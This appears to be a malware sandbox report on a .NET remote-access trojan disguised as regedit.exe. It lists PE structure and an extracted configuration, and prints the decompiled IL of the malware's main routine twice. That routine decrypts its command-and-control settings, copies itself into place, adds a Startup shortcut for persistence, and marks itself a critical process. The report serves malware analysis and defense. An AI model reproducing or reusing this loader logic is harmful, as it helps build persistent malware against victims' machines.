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PE Executable
MD5:
Size: 0 B
application/x-dosexec
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Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
61b026c9bd8dfea0198dfe551f21f95b
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
Mutex %Aphuhuhuhu
KEY uIASwKhuhuhuhuhuhuhuhuhuhuhu
USBNM xjTsUshuhuhuhuhuhuhu
LoggerPath /FbaVphuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
regedit.exe
Full Name
regedit.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
regedit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
regedit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
143
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
190
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Host
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Host
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.2 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00A6: ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileName(System.String)
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.3 <null>
ldloc.3 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00D7: ldc.i4 1000
ldloc.3 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.3 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0102: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0102: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_4
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
ldloc.s V_4
stelem.ref <null>
ldloc.s V_8
stloc.s V_9
ldloc.s V_9
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_10
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_10
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0187: stloc.s V_11
ldloc.s V_9
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_4
stloc.s V_11
ldloc.s V_11
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldloc.3 <null>
stelem.ref <null>
ldloc.s V_12
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_11
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_12
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_11
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_11
ldloc.s V_4
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0206: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0206: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_021C: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
regedit.exe
Full Name
regedit.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
regedit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
regedit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
143
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
190
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Host
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Host
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.2 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00A6: ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileName(System.String)
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.3 <null>
ldloc.3 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00D7: ldc.i4 1000
ldloc.3 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.3 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0102: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0102: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Stub.Helper::current
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_4
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
ldloc.s V_4
stelem.ref <null>
ldloc.s V_8
stloc.s V_9
ldloc.s V_9
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_10
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_10
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0187: stloc.s V_11
ldloc.s V_9
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_4
stloc.s V_11
ldloc.s V_11
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldloc.3 <null>
stelem.ref <null>
ldloc.s V_12
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_11
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_12
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_11
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_11
ldloc.s V_4
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0206: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0206: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_021C: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
%Aphuhuhuhu
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